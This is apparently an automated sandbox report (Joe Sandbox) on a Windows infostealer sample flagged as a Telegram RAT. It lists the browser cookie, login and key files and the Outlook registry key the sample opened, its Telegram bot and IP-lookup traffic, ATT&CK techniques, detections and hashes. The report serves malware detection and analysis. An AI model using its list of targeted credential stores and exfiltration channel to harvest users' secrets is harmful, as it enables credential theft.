Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2250498152.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	831 Windows Management Instrumentation	1 Scripting	11 Process Injection	111 Disable or Modify Tools	1 OS Credential Dumping	931 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	641 Virtualization/Sandbox Evasion	LSASS Memory	641 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	2 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	134 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
zyEDYRU0jw.exe	63%	ReversingLabs	ByteCode-MSIL.Infostealer.Polazert
zyEDYRU0jw.exe	100%	Avira	HEUR/AGEN.1307083
zyEDYRU0jw.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://discord.com%https://tiktok.com3https://www.instagram.com%https://twitch.com7https://store.ep	0%	Avira URL Cloud	safe
https://x.com-https://ads.google.com-https://pay.google.com	0%	Avira URL Cloud	safe
https://mega.nz%https://roblox.com%https://cpanel.net	0%	Avira URL Cloud	safe
https://www.aol.com1https://www.coinbase.com)https://freebitco.in%https://funpay.com%https://github.	0%	Avira URL Cloud	safe
http://api.telegram.orgd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.telegram.org	149.154.167.220	true	false	high
icanhazip.com	104.16.184.241	true	false	high
238.14.8.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://icanhazip.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://duckduckgo.com/chrome_newtab	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://duckduckgo.com/ac/?q=	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://x.com-https://ads.google.com-https://pay.google.com	zyEDYRU0jw.exe	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com%https://tiktok.com3https://www.instagram.com%https://twitch.com7https://store.ep	zyEDYRU0jw.exe	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://api.telegram.org/bot	zyEDYRU0jw.exe	false		high
https://mega.nz%https://roblox.com%https://cpanel.net	zyEDYRU0jw.exe	false	Avira URL Cloud: safe	unknown
https://ozon.ru	zyEDYRU0jw.exe	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
http://upx.sf.net	Amcache.hve.19.dr	false		high
http://api.telegram.orgd	zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://www.aol.com1https://www.coinbase.com)https://freebitco.in%https://funpay.com%https://github.	zyEDYRU0jw.exe	false	Avira URL Cloud: safe	unknown
http://icanhazip.com	zyEDYRU0jw.exe	false		high
http://api.telegram.org	zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002A31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	false		high
https://ipinfo.io/#	zyEDYRU0jw.exe	false		high
https://gmail.com	zyEDYRU0jw.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
104.16.184.241	icanhazip.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576963
Start date and time:	2024-12-17 19:46:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zyEDYRU0jw.exe renamed because original name is a hash value
Original Sample Name:	c43a34e78ba6913551af41857fb63a3545acd6a9248e8a4de884988b3ccf895d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/20@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 42 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 23.218.208.109, 13.107.246.63, 4.175.87.197, 20.190.147.2
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: zyEDYRU0jw.exe

Simulations

Behavior and APIs

Time	Type	Description
13:47:07	API Interceptor	73x Sleep call for process: zyEDYRU0jw.exe modified
13:47:43	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Order129845.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.16.184.241	itLDZwgFNE.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	icanhazip.com/
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	T05Dk6G8fg.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	VaXmr82RIb.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	gKWbina3a4.bat	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	uyz4YPUyc9.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	yv7QsAR49V.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
icanhazip.com	itLDZwgFNE.exe	Get hash	malicious	Flesh Stealer	Browse	104.16.184.241
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	104.16.184.241
	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	104.16.185.241
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRAT	Browse	104.16.185.241
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.16.185.241
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	iGxCM2I5u9.exe	Get hash	malicious	Flesh Stealer	Browse	104.16.185.241
	T05Dk6G8fg.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	3K5MXGVOJE.exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	VaXmr82RIb.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
api.telegram.org	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order129845.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Setup.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	69633f.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	http://kmaybelsrka.sbs:6793/bab.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	https://garfieldthecat.tech/Receipt.html	Get hash	malicious	WinSearchAbuse	Browse	162.159.61.3
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.2.110
	Documento_Contrato_Seguro_18951492.msi	Get hash	malicious	AteraAgent	Browse	104.18.21.76
	Documento_Contrato_Seguro_25105476.msi	Get hash	malicious	AteraAgent	Browse	104.18.21.76
	http://sharefileon.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.kukaj-to.chat/sedo	Get hash	malicious	Unknown	Browse	104.21.50.223
	5j0fix05fy.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	http://escrowmedifllc.hostconstructionapp.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	149.154.167.220
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	174 Power Global_Enrollment_.docx.doc	Get hash	malicious	Unknown	Browse	149.154.167.220
	mjjt5kTb4o.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	149.154.167.220
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	149.154.167.220
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zyEDYRU0jw.exe_69bb14e67bf623e7cd983b9932faed9719bbef3_4770cf9e_2f9d7045-0f69-4f93-92b8-b49f0c4ad2e3\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4632419396097684
Encrypted:	false
SSDEEP:	192:HdXBOipYQNEex0WbkzhnaOKymScZlEZrLOdzuiFrZ24IO85H+:1BNHaWbkdasmX0KzuiFrY4IO8Z+
MD5:	5770C42AACDA0340AEDB026247E6C054
SHA1:	FBC86602A1EA83E16C14CC8F56AD2425941D9714
SHA-256:	F68FCBD7A4777CF64FC6C7130BB2846CEBEF2F1874F990F73516957ACD55B09E
SHA-512:	1D07E8AF4C3F5AB92E5509B4E5FDE94E57D240769F70A8C9E3AD07ECAA71BCC620594B65FAB789176D316CEF9FBFE93EA27DB024C46E09FDC676A616FDF4A1B7
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.3.4.8.3.6.5.7.2.4.4.5.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.3.4.8.3.7.6.6.6.1.9.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.9.d.7.0.4.5.-.0.f.6.9.-.4.f.9.3.-.9.2.b.8.-.b.4.9.f.0.c.4.a.d.2.e.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.6.c.2.2.4.4.8.-.d.5.0.8.-.4.4.8.a.-.9.4.7.6.-.e.e.0.5.5.d.5.e.d.5.4.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.z.y.E.D.Y.R.U.0.j.w...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.t.e.a.l.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.4.8.-.0.0.0.1.-.0.0.1.4.-.f.7.1.9.-.d.c.0.c.b.4.5.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.d.9.e.4.0.2.a.8.f.5.c.6.8.0.c.d.8.4.3.1.0.e.a.9.f.b.a.2.e.c.7.0.0.0.0.0.0.0.0.!.0.0.0.0.d.4.2.e.3.c.5.f.c.2.4.e.3.0.9.5.8.1.8.1.9.c.b.a.7.2.3.b.1.4.c.3.c.2.4.7.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD44F.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, CheckSum 0x00000004, Tue Dec 17 18:47:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	236102
Entropy (8bit):	4.040330280132799
Encrypted:	false
SSDEEP:	3072:V798g4uEqDNZLTg8ynECYypx+cCd562+zhz:V72g4KTg8ynkyibIpd
MD5:	32E70EE5E371EFF1D91CFA2F8DE08D20
SHA1:	8FEACFCDDB7FAC94114584CA1201CD11924F6702
SHA-256:	8B2AD04155269C5340CC175204926DC4BB9A5A49E43D8B669A684BEC3C41634B
SHA-512:	4451EA1212386D3ADDE79BECD333B1AC97189AA9416E0E47B1A160C1B81057E94B2B18AC24FDEF7E2D7E869995C74CC003B9A92F34735675441F9BF3DA75C6CF
Malicious:	false
Preview:	MDMP..a..... .......5.ag............4............0..H.......<...d7......$!..rK..........`.......8...........T...........`}...............7...........9..............................................................................eJ......$:......GenuineIntel............T.......H...!.ag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD663.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8372
Entropy (8bit):	3.689677835283867
Encrypted:	false
SSDEEP:	192:R6l7wVeJmk26C6YEIjSUuvgmfZqqJpDj89b/qsfDVm:R6lXJs6C6YEsSUuvgmfPI/Jfs
MD5:	A607CD7770F05EEFA08A44C199935BD2
SHA1:	6D10F69B95C433753B3928E36881270250CC10EF
SHA-256:	89089684FEDC25489A2F0FAFEC6C2B5632AB0C9F636AD24F71D1BC5B180176A9
SHA-512:	2BE19C383864B540A031D34ACAF2C99E3612ED7A179E40CACA511BCAA53E65D5129DC9E7ADA52CE81962966A2B4C3F6BFAC8B09F15425BB99950D2341933921A
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6B2.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.461629771827499
Encrypted:	false
SSDEEP:	48:cvIwWl8zsTJg77aI9dSWpW8VYBPYm8M4JmpMPFrI+q8vrpMxImLNegi5d:uIjftI7zz7VKSJ6KuImLNegYd
MD5:	01A775D12581D222292CB9F3A56795C2
SHA1:	61F4D9A296D2482BB8CE017902942994D0345D5B
SHA-256:	8208B089C2F0EC142A6F4C710D8753AC05B903BBD1B423A65E519AB0D5869979
SHA-512:	6C80A6D7862142EBE5E5DB1223457D162590B95BFB5B2ABA67EBD81C0C0FAC57E3BDB7BA1A5FA8CA81007860E943821D0AEE918DCD096B054AA3384D4E5EE68C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="635629" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\bwvswysc.wf3

Process:	C:\Users\user\Desktop\zyEDYRU0jw.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	601365
Entropy (8bit):	6.008791134195978
Encrypted:	false
SSDEEP:	12288:l11e8OdHB+LeuC6MeAOXw6VwIHDIu62IPXjHf:lTenHw1C6MqgIDjyPT/
MD5:	174BC06D568819E002A136E848701847
SHA1:	DECE64C7FC14E7F0D9EF0ACFEF61D2E251242E85
SHA-256:	0BD2C19EA8665923BD8DD8D3992BBB2DB9B958B46CAACAD84DC5E03C258C7EB1
SHA-512:	17F4EAEC278BD8A8FB23FEA92D7F698379132F46CA2C6A97003EA30A4E27F411BDD9A26FDA585499208EFEA25D6C23375EB9857EC5B699D84CE934F91F7B9A9B
Malicious:	false
